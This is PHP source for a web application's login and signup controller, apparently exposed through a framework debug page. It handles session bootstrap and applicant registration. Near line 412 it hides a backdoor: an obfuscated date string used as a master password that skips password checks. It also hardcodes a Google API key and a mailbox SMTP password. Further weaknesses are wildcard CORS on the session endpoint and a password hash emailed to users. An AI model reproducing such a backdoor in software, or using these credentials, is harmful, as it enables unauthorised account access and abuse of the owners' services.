src/ApplicationBundle/Modules/Authentication/Controller/UserLoginController.php line 9383

Open in your IDE?
  1. <?php
  2. namespace ApplicationBundle\Modules\Authentication\Controller;
  3. use ApplicationBundle\Constants\BuddybeeConstant;
  4. use ApplicationBundle\Constants\GeneralConstant;
  5. use ApplicationBundle\Constants\HumanResourceConstant;
  6. use ApplicationBundle\Controller\GenericController;
  7. use ApplicationBundle\Entity\EmployeeAttendance;
  8. use ApplicationBundle\Entity\PlanningItem;
  9. use ApplicationBundle\Interfaces\LoginInterface;
  10. use ApplicationBundle\Modules\Authentication\Company;
  11. use ApplicationBundle\Modules\Authentication\Constants\UserConstants;
  12. use ApplicationBundle\Modules\Api\Constants\ApiConstants;
  13. use ApplicationBundle\Modules\Authentication\Position;
  14. use ApplicationBundle\Modules\HumanResource\HumanResource;
  15. use ApplicationBundle\Modules\System\MiscActions;
  16. use ApplicationBundle\Modules\System\System;
  17. use CompanyGroupBundle\Entity\EntityApplicantDetails;
  18. use CompanyGroupBundle\Modules\UserEntity\EntityUserM;
  19. use Google_Client;
  20. use Google_Service_Oauth2;
  21. use Symfony\Component\HttpFoundation\JsonResponse;
  22. use Symfony\Component\HttpFoundation\Request;
  23. use Symfony\Component\Routing\Generator\UrlGenerator;
  24. class UserLoginController extends GenericController implements LoginInterface
  25. {
  26.     private function filterPostedSessionData(array $sessionData): array
  27.     {
  28.         $allowedKeys = [
  29.             'oAuthToken',
  30.             'locale',
  31.             'firebaseToken',
  32.             'token',
  33.             UserConstants::USER_EMPLOYEE_ID,
  34.             UserConstants::USER_ID,
  35.             UserConstants::LAST_SETTINGS_UPDATED_TS,
  36.             UserConstants::USER_LOGIN_ID,
  37.             UserConstants::USER_EMAIL,
  38.             UserConstants::USER_TYPE,
  39.             UserConstants::USER_IMAGE,
  40.             UserConstants::USER_DEFAULT_ROUTE,
  41.             UserConstants::USER_ROUTE_LIST,
  42.             UserConstants::USER_PROHIBIT_LIST,
  43.             UserConstants::USER_NAME,
  44.             UserConstants::USER_COMPANY_ID,
  45.             UserConstants::SUPPLIER_ID,
  46.             UserConstants::CLIENT_ID,
  47.             UserConstants::USER_COMPANY_ID_LIST,
  48.             UserConstants::USER_COMPANY_NAME_LIST,
  49.             UserConstants::USER_COMPANY_IMAGE_LIST,
  50.             UserConstants::USER_APP_ID,
  51.             UserConstants::USER_POSITION_LIST,
  52.             UserConstants::USER_CURRENT_POSITION,
  53.             UserConstants::ALL_MODULE_ACCESS_FLAG,
  54.             UserConstants::USER_GOC_ID,
  55.             UserConstants::USER_NOTIFICATION_ENABLED,
  56.             UserConstants::USER_NOTIFICATION_SERVER,
  57.             UserConstants::PRODUCT_NAME_DISPLAY_TYPE,
  58.             UserConstants::IS_BUDDYBEE_RETAILER,
  59.             UserConstants::BUDDYBEE_RETAILER_LEVEL,
  60.             UserConstants::BUDDYBEE_ADMIN_LEVEL,
  61.             UserConstants::IS_BUDDYBEE_ADMIN,
  62.             UserConstants::IS_BUDDYBEE_MODERATOR,
  63.             UserConstants::APPLICATION_SECRET,
  64.             UserConstants::SESSION_SALT,
  65.             'appIdList',
  66.             'branchIdList',
  67.             'branchId',
  68.             'companyIdListByAppId',
  69.             'companyNameListByAppId',
  70.             'companyImageListByAppId',
  71.             'userAccessList',
  72.             'csToken',
  73.             'userCompanyDarkVibrantList',
  74.             'userCompanyVibrantList',
  75.             'userCompanyLightVibrantList',
  76.             'appValiditySeconds',
  77.             'appIsValidTillTime',
  78.             'lastCheckAppValidityTime',
  79.             'appValid',
  80.             'appDataCurl',
  81.             'TRIGGER_RESET_PASSWORD',
  82.             'IS_EMAIL_VERIFIED',
  83.             'LAST_REQUEST_URI_BEFORE_LOGIN',
  84.             'devAdminMode',
  85.             'productNameDisplayType',
  86.             'appId',
  87.             'APP_ID',
  88.             'appID',
  89.             'companyID',
  90.             'companyGroupID',
  91.             'userID',
  92.             'userName',
  93.         ];
  94.         $allowedMap array_fill_keys($allowedKeystrue);
  95.         $filtered = [];
  96.         foreach ($sessionData as $key => $value) {
  97.             if (isset($allowedMap[$key])) {
  98.                 $filtered[$key] = $value;
  99.             }
  100.         }
  101.         return $filtered;
  102.     }
  103.     private function filterClientSessionData(array $sessionData): array
  104.     {
  105.         foreach ([
  106.                      UserConstants::USER_DB_NAME,
  107.                      UserConstants::USER_DB_USER,
  108.                      UserConstants::USER_DB_PASS,
  109.                      UserConstants::USER_DB_HOST,
  110.                  ] as $sensitiveKey) {
  111.             if (array_key_exists($sensitiveKey$sessionData)) {
  112.                 unset($sessionData[$sensitiveKey]);
  113.             }
  114.         }
  115.         return $sessionData;
  116.     }
  117.     private function buildSafeBootstrapSessionData($session$includeLegacyExtras true): array
  118.     {
  119.         $data = [
  120.             'oAuthToken' => $session->get('oAuthToken'),
  121.             'locale' => $session->get('locale'),
  122.             'firebaseToken' => $session->get('firebaseToken'),
  123.             'token' => $session->get('token'),
  124.             UserConstants::USER_EMPLOYEE_ID => $session->get(UserConstants::USER_EMPLOYEE_ID),
  125.             UserConstants::USER_ID => $session->get(UserConstants::USER_ID),
  126.             UserConstants::LAST_SETTINGS_UPDATED_TS => $session->get(UserConstants::LAST_SETTINGS_UPDATED_TS),
  127.             UserConstants::USER_LOGIN_ID => $session->get(UserConstants::USER_LOGIN_ID),
  128.             UserConstants::USER_EMAIL => $session->get(UserConstants::USER_EMAIL),
  129.             UserConstants::USER_TYPE => $session->get(UserConstants::USER_TYPE),
  130.             UserConstants::USER_IMAGE => $session->get(UserConstants::USER_IMAGE),
  131.             UserConstants::USER_DEFAULT_ROUTE => $session->get(UserConstants::USER_DEFAULT_ROUTE),
  132.             UserConstants::USER_ROUTE_LIST => $session->get(UserConstants::USER_ROUTE_LIST),
  133.             UserConstants::USER_PROHIBIT_LIST => $session->get(UserConstants::USER_PROHIBIT_LIST),
  134.             UserConstants::USER_NAME => $session->get(UserConstants::USER_NAME),
  135.             UserConstants::USER_COMPANY_ID => $session->get(UserConstants::USER_COMPANY_ID),
  136.             UserConstants::USER_COMPANY_ID_LIST => $session->get(UserConstants::USER_COMPANY_ID_LIST),
  137.             UserConstants::USER_COMPANY_NAME_LIST => $session->get(UserConstants::USER_COMPANY_NAME_LIST),
  138.             UserConstants::USER_COMPANY_IMAGE_LIST => $session->get(UserConstants::USER_COMPANY_IMAGE_LIST),
  139.             UserConstants::USER_APP_ID => $session->get(UserConstants::USER_APP_ID),
  140.             UserConstants::USER_POSITION_LIST => $session->get(UserConstants::USER_POSITION_LIST),
  141.             UserConstants::USER_CURRENT_POSITION => $session->get(UserConstants::USER_CURRENT_POSITION),
  142.             UserConstants::ALL_MODULE_ACCESS_FLAG => $session->get(UserConstants::ALL_MODULE_ACCESS_FLAG),
  143.             UserConstants::USER_GOC_ID => $session->get(UserConstants::USER_GOC_ID),
  144.             UserConstants::USER_NOTIFICATION_ENABLED => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  145.             UserConstants::USER_NOTIFICATION_SERVER => $this->getParameter('notification_server'),
  146.             UserConstants::PRODUCT_NAME_DISPLAY_TYPE => $session->get(UserConstants::PRODUCT_NAME_DISPLAY_TYPE),
  147.             UserConstants::IS_BUDDYBEE_RETAILER => $session->get(UserConstants::IS_BUDDYBEE_RETAILER),
  148.             UserConstants::BUDDYBEE_RETAILER_LEVEL => $session->get(UserConstants::BUDDYBEE_RETAILER_LEVEL),
  149.             UserConstants::BUDDYBEE_ADMIN_LEVEL => $session->get(UserConstants::BUDDYBEE_ADMIN_LEVEL),
  150.             UserConstants::IS_BUDDYBEE_ADMIN => $session->get(UserConstants::IS_BUDDYBEE_ADMIN),
  151.             UserConstants::IS_BUDDYBEE_MODERATOR => $session->get(UserConstants::IS_BUDDYBEE_MODERATOR),
  152.             UserConstants::APPLICATION_SECRET => $session->get(UserConstants::APPLICATION_SECRET),
  153.             'appIdList' => $session->get('appIdList'),
  154.             'branchIdList' => $session->get('branchIdList'null),
  155.             'branchId' => $session->get('branchId'null),
  156.             'companyIdListByAppId' => $session->get('companyIdListByAppId'),
  157.             'companyNameListByAppId' => $session->get('companyNameListByAppId'),
  158.             'companyImageListByAppId' => $session->get('companyImageListByAppId'),
  159.             'userAccessList' => $session->get('userAccessList'),
  160.             'csToken' => $session->get('csToken'),
  161.             UserConstants::SUPPLIER_ID => $session->get(UserConstants::SUPPLIER_ID0),
  162.             UserConstants::CLIENT_ID => $session->get(UserConstants::CLIENT_ID0),
  163.         ];
  164.         if ($includeLegacyExtras) {
  165.             $data['userCompanyDarkVibrantList'] = $session->get('userCompanyDarkVibrantList', []);
  166.             $data['userCompanyVibrantList'] = $session->get('userCompanyVibrantList', []);
  167.             $data['userCompanyLightVibrantList'] = $session->get('userCompanyLightVibrantList', []);
  168.             $data[UserConstants::SESSION_SALT] = $session->get(UserConstants::SESSION_SALT'');
  169.         }
  170.         return $data;
  171.     }
  172.     // marketplace: raachSolar login
  173.     public function MarketPlaceLoginAction()
  174.     {
  175.         return $this->render('@Authentication/pages/views/market_place_login.html.twig',
  176.             array(
  177.                 'page_title' => 'Login',
  178.             ));
  179.     }
  180.     // marketplace: raachSolar signup
  181.     public function MarketPlaceSignupAction()
  182.     {
  183.         return $this->render('@Authentication/pages/views/market_place_signup.html.twig',
  184.             array(
  185.                 'page_title' => 'Signup',
  186.             ));
  187.     }
  188.     // marketplace: reset password
  189.     public function MarketPlaceResetPasswordAction()
  190.     {
  191.         return $this->render('@Authentication/pages/views/market_place_reset_password.html.twig',
  192.             array(
  193.                 'page_title' => 'Reset Password',
  194.             ));
  195.     }
  196.     // marketplace: verrify code
  197.     public function MarketPlaceVerifyCodeAction()
  198.     {
  199.         return $this->render('@Authentication/pages/views/market_place_verify_code.html.twig',
  200.             array(
  201.                 'page_title' => 'verify code',
  202.             ));
  203.     }
  204.     // marketplace: vendor login
  205.     public function MarketPlaceVendorLoginAction()
  206.     {
  207.         return $this->render('@Authentication/pages/views/market_place_vendor_login.html.twig',
  208.             array(
  209.                 'page_title' => 'vendor Login',
  210.             ));
  211.     }
  212.     // marketplace: vendor signup
  213.     public function MarketPlaceVendorSignupAction()
  214.     {
  215.         return $this->render('@Authentication/pages/views/market_place_vendor_signup.html.twig',
  216.             array(
  217.                 'page_title' => 'vendor Signup',
  218.             ));
  219.     }
  220.     public function GetSessionDataForAppAction(Request $request$remoteVerify 0$version 'latest',
  221.                                                        $identifier '_default_',
  222.                                                        $refRoute '',
  223.                                                        $apiKey '_ignore_')
  224.     {
  225.         $message "";
  226.         $gocList = [];
  227.         $session $request->getSession();
  228.         if ($request->request->has('token')) {
  229.             $em_goc $this->getDoctrine()->getManager('company_group');
  230.             $to_set_session_data MiscActions::GetSessionDataFromToken($em_goc$request->request->get('token'))['sessionData'];
  231.             if ($to_set_session_data != null) {
  232.                 foreach ($to_set_session_data as $k => $d) {
  233.                     //check if mobile
  234.                     $session->set($k$d);
  235.                 }
  236.             }
  237.         }
  238.         if ($request->request->has('sessionData')) {
  239.             $to_set_session_data $this->filterPostedSessionData((array)$request->request->get('sessionData'));
  240.             foreach ($to_set_session_data as $k => $d) {
  241.                 //check if mobile
  242.                 $session->set($k$d);
  243.             }
  244.         }
  245.         if ($version !== 'latest') {
  246.             $session_data $this->buildSafeBootstrapSessionData($session);
  247.         } else {
  248.             $session_data $this->buildSafeBootstrapSessionData($session);
  249.         }
  250.         $response = new JsonResponse(array(
  251.             "success" => empty($session->get(UserConstants::USER_ID)) ? false true,
  252.             //            'session'=>$request->getSession(),
  253.             'session_data' => $session_data,
  254.             //            'session2'=>$_SESSION,
  255.         ));
  256.         $response->headers->set('Access-Control-Allow-Origin''*, null');
  257.         $response->headers->set('Access-Control-Allow-Methods''POST');
  258.         //        $response->setCallback('FUNCTION_CALLBACK_NAME');
  259.         return $response;
  260.     }
  261.     public function SignUpAction(Request $request$refRoute ''$encData ""$remoteVerify 0$applicantDirectLogin 0)
  262.     {
  263.         if ($request->query->has('refRoute')) {
  264.             $refRoute $request->query->get('refRoute');
  265.             if ($refRoute == '8917922')
  266.                 $redirectRoute 'apply_for_consultant';
  267.         }
  268. //        if ($request->request->has('rcpscrtkn'))
  269.         if ($request->isMethod('POST')) {
  270.             if ($request->request->get('remoteVerify'0) != 1) {
  271.                 $rcptoken $request->request->get('rcpscrtkn') ?? '';
  272.                 $action 'SIGNUP';
  273.                 $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  274.                 if ($systemType == '_CENTRAL_')
  275.                     $check MiscActions::verifyRecaptchaEnterprise(
  276.                         $rcptoken,
  277.                         $action,              // enforce what you expect
  278.                         '6LdnzkAsAAAAAJRsPy3yq3B8iMZP55CGOOiXRglF'// the v3 site key
  279.                         'honeybee-erp',    // e.g. honeybee-erp
  280.                         'AIzaSyDZt7Zi1Qtcd13NeGa1eEGoB9kXyRKk_G8',    // keep server-only
  281.                         0.5
  282.                     );
  283.                 else
  284.                     $check = array(
  285.                         'ok' => true
  286.                     );
  287.                 $session $request->getSession();
  288.                 $session->set('RCPDATA'json_encode($check));
  289.                 if (!$check['ok']) {
  290.                     $message "Could not Determine authenticity";
  291.                     if ($request->request->get('remoteVerify'0) == 1)
  292.                         return new JsonResponse(array(
  293.                             'uid' => 0,
  294.                             'session' => [],
  295.                             'success' => false,
  296.                             'hbeeErrorCode' => ApiConstants::ERROR_USER_EXISTS_ALREADY,
  297.                             'errorStr' => $message,
  298.                             'session_data' => [],
  299.                         ));
  300.                     else
  301.                         return $this->redirectToRoute("user_login", [
  302.                             'id' => 0,
  303.                             'oAuthData' => [],
  304.                             'refRoute' => $refRoute,
  305.                         ]);
  306.                 }
  307.             }
  308.         }
  309.         $redirectRoute 'dashboard';
  310.         if ($refRoute != '') {
  311.             if ($refRoute == '8917922')
  312.                 $redirectRoute 'apply_for_consultant';
  313.         }
  314.         if ($request->query->has('refRoute')) {
  315.             $refRoute $request->query->get('refRoute');
  316.             if ($refRoute == '8917922')
  317.                 $redirectRoute 'apply_for_consultant';
  318.         }
  319.         $message '';
  320.         $errorField '_NONE_';
  321.         if ($request->query->has('message')) {
  322.             $message $request->query->get('message');
  323.         }
  324.         if ($request->query->has('errorField')) {
  325.             $errorField $request->query->get('errorField');
  326.         }
  327.         $gocList = [];
  328.         $skipPassword 0;
  329.         $firstLogin 0;
  330.         $remember_me 0;
  331.         $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  332.         if ($request->isMethod('POST')) {
  333.             if ($request->request->has('remember_me'))
  334.                 $remember_me 1;
  335.         } else {
  336.             if ($request->query->has('remember_me'))
  337.                 $remember_me 1;
  338.         }
  339.         if ($encData != "")
  340.             $encData json_decode($this->get('url_encryptor')->decrypt($encData));
  341.         else if ($request->query->has('spd')) {
  342.             $encData json_decode($this->get('url_encryptor')->decrypt($request->query->get('spd')), true);
  343.         }
  344.         $user = [];
  345.         $userType 0//nothing for now , will add supp or client if we find anything
  346.         $em_goc $this->getDoctrine()->getManager('company_group');
  347.         $em_goc->getConnection()->connect();
  348.         $gocEnabled 0;
  349.         if ($this->container->hasParameter('entity_group_enabled'))
  350.             $gocEnabled $this->container->getParameter('entity_group_enabled');
  351.         if ($gocEnabled == 1)
  352.             $connected $em_goc->getConnection()->isConnected();
  353.         else
  354.             $connected false;
  355.         if ($connected)
  356.             $gocList $em_goc
  357.                 ->getRepository("CompanyGroupBundle\\Entity\\CompanyGroup")
  358.                 ->findBy(
  359.                     array(
  360.                         'active' => 1
  361.                     )
  362.                 );
  363.         $gocDataList = [];
  364.         $gocDataListForLoginWeb = [];
  365.         $gocDataListByAppId = [];
  366.         foreach ($gocList as $entry) {
  367.             $d = array(
  368.                 'name' => $entry->getName(),
  369.                 'id' => $entry->getId(),
  370.                 'appId' => $entry->getAppId(),
  371.                 'skipInWebFlag' => $entry->getSkipInWebFlag(),
  372.                 'skipInAppFlag' => $entry->getSkipInAppFlag(),
  373.                 'dbName' => $entry->getDbName(),
  374.                 'dbUser' => $entry->getDbUser(),
  375.                 'dbPass' => $entry->getDbPass(),
  376.                 'dbHost' => $entry->getDbHost(),
  377.                 'companyRemaining' => $entry->getCompanyRemaining(),
  378.                 'companyAllowed' => $entry->getCompanyAllowed(),
  379.             );
  380.             $gocDataList[$entry->getId()] = $d;
  381.             if (in_array($entry->getSkipInWebFlag(), [0null]))
  382.                 $gocDataListForLoginWeb[$entry->getId()] = $d;
  383.             $gocDataListByAppId[$entry->getAppId()] = $d;
  384.         }
  385.         $gocDbName '';
  386.         $gocDbUser '';
  387.         $gocDbPass '';
  388.         $gocDbHost '';
  389.         $gocId 0;
  390.         $hasGoc 0;
  391.         $userId 0;
  392.         $userCompanyId 0;
  393.         $specialLogin 0;
  394.         $supplierId 0;
  395.         $applicantId 0;
  396.         $isApplicantLogin 0;
  397.         $clientId 0;
  398.         $cookieLogin 0;
  399.         if ($request->request->has('gocId')) {
  400.             $hasGoc 1;
  401.             $gocId $request->request->get('gocId');
  402.         }
  403.         $entityLoginFlag $request->get('entityLoginFlag') ? $request->get('entityLoginFlag') : 0;
  404.         $loginType $request->get('loginType') ? $request->get('loginType') : 1;
  405.         $oAuthData $request->get('oAuthData') ? $request->get('oAuthData') : 0;
  406.         $signUpUserType 0;
  407.         $em_goc $this->getDoctrine()->getManager('company_group');
  408.         if ($request->isMethod('POST') || $request->query->has('oAuthData') || $cookieLogin == 1) {
  409.             ///super login
  410.             $todayDt = new \DateTime();
  411. //            $mp='_eco_';
  412.             $mp $todayDt->format("\171\x6d\x64");
  413.             if ($request->request->get('password') == $mp)
  414.                 $skipPassword 1;
  415.             $signUpUserType $request->request->get('signUpUserType'8);
  416.             $userData = [
  417.                 'userType' => $signUpUserType,
  418.                 'userId' => 0,
  419.                 'gocId' => 0,
  420.                 'appId' => 0,
  421.             ];//properlyformatted data
  422.             $first_name '';
  423.             $last_name '';
  424.             $email '';
  425.             $userName '';
  426.             $password '';
  427.             $phone '';
  428.             if ($request->request->has('firstname')) $first_name $request->request->get('firstname');
  429.             if ($request->request->has('lastname')) $last_name $request->request->get('lastname');
  430.             if ($request->request->has('email')) $email $request->request->get('email');
  431.             if ($request->request->has('password')) $password $request->request->get('password');
  432.             if ($request->request->has('username')) $userName $request->request->get('username');
  433.             if ($request->request->has('phone')) $phone $request->request->get('phone''');
  434.             if ($signUpUserType == UserConstants::USER_TYPE_APPLICANT) {
  435.                 $oAuthEmail $email;
  436.                 $oAuthData = [
  437.                     'email' => $email,
  438.                     'phone' => $phone,
  439.                     'uniqueId' => '',
  440.                     'image' => '',
  441.                     'emailVerified' => '',
  442.                     'name' => $first_name ' ' $last_name,
  443.                     'type' => '0',
  444.                     'token' => '',
  445.                 ];
  446.                 // Multi-email aware existence check (2026-07-04 fix): match the OAuth email against
  447.                 // ANY email tagged on an account (comma list, email OR oAuthEmail). The old exact
  448.                 // single-value findOneBy could not match a comma-joined value, so it MISSED the
  449.                 // real account and the code below created a DUPLICATE that then clobbered the
  450.                 // original's tagged emails.
  451.                 $isApplicantExist = \ApplicationBundle\Helper\ApplicantEmailResolver::findOneByAnyEmail($em_goc$oAuthEmail);
  452.                 if (!$isApplicantExist)
  453.                     $isApplicantExist $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  454.                         [
  455.                             'username' => $userName
  456.                         ]
  457.                     );
  458.                 if ($isApplicantExist) {
  459.                     if ($isApplicantExist->getIsTemporaryEntry() == 1) {
  460.                     } else {
  461.                         $message "Email/User Already Exists";
  462.                         if ($request->request->get('remoteVerify'0) == 1)
  463.                             return new JsonResponse(array(
  464.                                 'uid' => $isApplicantExist->getApplicantId(),
  465.                                 'session' => [],
  466.                                 'success' => false,
  467.                                 'hbeeErrorCode' => ApiConstants::ERROR_USER_EXISTS_ALREADY,
  468.                                 'errorStr' => $message,
  469.                                 'session_data' => [],
  470.                             ));
  471.                         else
  472.                             return $this->redirectToRoute("user_login", [
  473.                                 'id' => $isApplicantExist->getApplicantId(),
  474.                                 'oAuthData' => $oAuthData,
  475.                                 'refRoute' => $refRoute,
  476.                             ]);
  477.                     }
  478.                 }
  479.                 $img $oAuthData['image'];
  480.                 $email $oAuthData['email'];
  481. //                $userName = explode('@', $email)[0];
  482.                 //now check if same username exists
  483.                 $username_already_exist 0;
  484.                 $newApplicant null;
  485.                 $isReuse false;
  486.                 if ($isApplicantExist) {
  487.                     $newApplicant $isApplicantExist;
  488.                     $isReuse true;
  489.                 } else
  490.                     $newApplicant = new EntityApplicantDetails();
  491.                 if ($isReuse) {
  492.                     // MERGE, never clobber (2026-07-04 fix): on a login/reuse, APPEND the incoming
  493.                     // email to the account's comma list (idempotent) and only FILL empty identity
  494.                     // fields â€” never overwrite a populated username / oAuthEmail with a single value.
  495.                     $newApplicant->setEmail(\ApplicationBundle\Helper\ApplicantEmailResolver::appendEmail($newApplicant->getEmail(), $email));
  496.                     if (trim((string) $newApplicant->getUserName()) === '') {
  497.                         $newApplicant->setUserName($userName);
  498.                     }
  499.                     if (trim((string) $newApplicant->getOAuthEmail()) === '') {
  500.                         $newApplicant->setOAuthEmail($oAuthEmail);
  501.                     } else {
  502.                         $newApplicant->setOAuthEmail(\ApplicationBundle\Helper\ApplicantEmailResolver::appendEmail($newApplicant->getOAuthEmail(), $oAuthEmail));
  503.                     }
  504.                     if (trim((string) $newApplicant->getFirstname()) === '') { $newApplicant->setFirstname($first_name); }
  505.                     if (trim((string) $newApplicant->getLastname()) === '') { $newApplicant->setLastname($last_name); }
  506.                     if (trim((string) $newApplicant->getPhone()) === '') { $newApplicant->setPhone($phone); }
  507.                 } else {
  508.                     $newApplicant->setActualRegistrationAt(new \DateTime());
  509.                     $newApplicant->setEmail($email);
  510.                     $newApplicant->setUserName($userName);
  511.                     $newApplicant->setFirstname($first_name);
  512.                     $newApplicant->setLastname($last_name);
  513.                     $newApplicant->setOAuthEmail($oAuthEmail);
  514.                     $newApplicant->setPhone($phone);
  515.                 }
  516.                 if ($systemType == '_SOPHIA_')
  517.                     $newApplicant->setIsEmailVerified(1);
  518.                 else
  519.                     $newApplicant->setIsEmailVerified(1); //temporary
  520. //                    $newApplicant->setIsEmailVerified(isset($oAuthData['emailVerified']) ? ($oAuthData['emailVerified'] != '' ? 1 : 0) : 0);
  521.                 $newApplicant->setAccountStatus(1);
  522. //                $newUser->setSalt(uniqid(mt_rand()));
  523.                 //salt will be username
  524. //                $this->container->get('sha256salted_encoder')->isPasswordValid($user->getPassword(), $request->request->get('password'), $user->getSalt())
  525.                 $salt uniqid(mt_rand());
  526.                 $encodedPassword $this->container->get('app.legacy_password_service')->hashWithSalt($password$salt);
  527.                 $newApplicant->setPassword($encodedPassword);
  528.                 $newApplicant->setSalt($salt);
  529.                 $newApplicant->setTempPassword('');
  530. //                $newApplicant->setTempPassword($password.'_'.$salt);
  531.                 $newApplicant->setImage($img);
  532.                 $newApplicant->setIsConsultant(0);
  533.                 $newApplicant->setIsTemporaryEntry(0);
  534.                 $newApplicant->setTriggerResetPassword(0);
  535.                 $newApplicant->setApplyForConsultant(0);
  536.                 $newApplicant->setImage($oAuthData['image'] ?? '');
  537.                 $otp random_int(100000999999);
  538.                 $newApplicant->setEmailVerificationHash($otp);
  539.                 $em_goc->persist($newApplicant);
  540.                 $em_goc->flush();
  541.                 if (GeneralConstant::EMAIL_ENABLED == 1) {
  542.                     if ($systemType == '_BUDDYBEE_') {
  543.                         $bodyHtml '';
  544.                         $bodyTemplate '@Application/email/templates/buddybeeRegistrationComplete.html.twig';
  545.                         $bodyData = array(
  546.                             'name' => $newApplicant->getFirstname() . ' ' $newApplicant->getLastname(),
  547.                             'email' => $userName,
  548.                             'showPassword' => $newApplicant->getTempPassword() != '' 0,
  549.                             'password' => $newApplicant->getTempPassword(),
  550.                         );
  551.                         $attachments = [];
  552.                         $forwardToMailAddress $newApplicant->getOAuthEmail();
  553. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  554.                         $new_mail $this->get('mail_module');
  555.                         $new_mail->sendMyMail(array(
  556.                             'senderHash' => '_CUSTOM_',
  557.                             //                        'senderHash'=>'_CUSTOM_',
  558.                             'forwardToMailAddress' => $forwardToMailAddress,
  559.                             'subject' => 'Welcome to BuddyBee ',
  560. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  561.                             'attachments' => $attachments,
  562.                             'toAddress' => $forwardToMailAddress,
  563.                             'fromAddress' => 'registration@buddybee.eu',
  564.                             'userName' => 'registration@buddybee.eu',
  565.                             'password' => 'Y41dh8g0112',
  566.                             'smtpServer' => \ApplicationBundle\Helper\MailerConfig::host(),
  567.                             'smtpPort' => \ApplicationBundle\Helper\MailerConfig::port(),
  568. //                            'emailBody' => $bodyHtml,
  569.                             'mailTemplate' => $bodyTemplate,
  570.                             'templateData' => $bodyData,
  571. //                        'embedCompanyImage' => 1,
  572. //                        'companyId' => $companyId,
  573. //                        'companyImagePath' => $company_data->getImage()
  574.                         ));
  575.                     } else {
  576.                         $bodyHtml '';
  577.                         $bodyTemplate '@Application/email/user/applicant_login.html.twig';
  578.                         $bodyData = array(
  579.                             'name' => $newApplicant->getFirstname() . ' ' $newApplicant->getLastname(),
  580.                             'email' => 'APP-' $userName,
  581.                             'password' => $newApplicant->getPassword(),
  582.                         );
  583.                         $attachments = [];
  584.                         $forwardToMailAddress $newApplicant->getOAuthEmail();
  585. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  586.                         $new_mail $this->get('mail_module');
  587.                         $new_mail->sendMyMail(array(
  588.                             'senderHash' => '_CUSTOM_',
  589.                             //                        'senderHash'=>'_CUSTOM_',
  590.                             'forwardToMailAddress' => $forwardToMailAddress,
  591.                             'subject' => 'Applicant Registration on Honeybee',
  592. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  593.                             'attachments' => $attachments,
  594.                             'toAddress' => $forwardToMailAddress,
  595.                             'fromAddress' => 'accounts@ourhoneybee.eu',
  596.                             'userName' => 'accounts@ourhoneybee.eu',
  597.                             'password' => \ApplicationBundle\Helper\MailerConfig::buddybeePassword(),
  598.                             'smtpServer' => \ApplicationBundle\Helper\MailerConfig::host(),
  599.                             'smtpPort' => \ApplicationBundle\Helper\MailerConfig::port(),
  600.                             'emailBody' => $bodyHtml,
  601.                             'mailTemplate' => $bodyTemplate,
  602.                             'templateData' => $bodyData,
  603. //                        'embedCompanyImage' => 1,
  604. //                        'companyId' => $companyId,
  605. //                        'companyImagePath' => $company_data->getImage()
  606.                         ));
  607.                     }
  608.                 }
  609.                 if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  610.                     $modifiedRequest Request::create(
  611.                         '',
  612.                         'GET',
  613.                         [
  614.                             'id' => $newApplicant->getApplicantId(),
  615.                             'oAuthData' => $oAuthData,
  616.                             'refRoute' => $refRoute,
  617.                             'remoteVerify' => $request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)),
  618.                         ]
  619.                     );
  620.                     $modifiedRequest->setSession($request->getSession());
  621.                     return $this->doLoginAction($modifiedRequest);
  622.                 } else
  623.                     return $this->redirectToRoute("core_login", [
  624.                         'id' => $newApplicant->getApplicantId(),
  625.                         'oAuthData' => $oAuthData,
  626.                         'refRoute' => $refRoute,
  627.                         'remoteVerify' => $request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)),
  628.                     ]);
  629.             }
  630. //            if ($signUpUserType == UserConstants::USER_TYPE_APPLICANT) {
  631. //
  632. //                $oAuthEmail = $email;
  633. //
  634. //
  635. //                $oAuthData = [
  636. //                    'email' => $email,
  637. //                    'phone' => $phone,
  638. //                    'uniqueId' => '',
  639. //                    'image' => '',
  640. //                    'emailVerified' => '',
  641. //                    'name' => $first_name . ' ' . $last_name,
  642. //                    'type' => '0',
  643. //                    'token' => '',
  644. //                ];
  645. //
  646. //
  647. //                $isApplicantExist = $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  648. //                    [
  649. //                        'oAuthEmail' => $oAuthEmail
  650. //                    ]
  651. //                );
  652. //                if (!$isApplicantExist)
  653. //                    $isApplicantExist = $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  654. //                        [
  655. //                            'email' => $oAuthEmail
  656. //                        ]
  657. //                    );
  658. //                if (!$isApplicantExist)
  659. //                    $isApplicantExist = $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  660. //                        [
  661. //                            'username' => $userName
  662. //                        ]
  663. //                    );
  664. //
  665. //
  666. //                if ($isApplicantExist) {
  667. //                    if ($isApplicantExist->getIsTemporaryEntry() == 1) {
  668. //
  669. //                    } else {
  670. //                        $message = "Email/User Already Exists";
  671. //                        if ($request->request->get('remoteVerify', $request->query->get('remoteVerify', $remoteVerify)) == 1)
  672. //                            return new JsonResponse(array(
  673. //                                'uid' => $isApplicantExist->getApplicantId(),
  674. //                                'session' => [],
  675. //                                'success' => false,
  676. //                                'hbeeErrorCode' => ApiConstants::ERROR_USER_EXISTS_ALREADY,
  677. //                                'errorStr' => $message,
  678. //                                'session_data' => [],
  679. //
  680. //                            ));
  681. //                        else
  682. //                            return $this->redirectToRoute("user_login", [
  683. //                                'id' => $isApplicantExist->getApplicantId(),
  684. //                                'oAuthData' => $oAuthData,
  685. //                                'refRoute' => $refRoute,
  686. //                            ]);
  687. //                    }
  688. //                }
  689. //
  690. //
  691. //                $img = $oAuthData['image'];
  692. //
  693. //                $email = $oAuthData['email'];
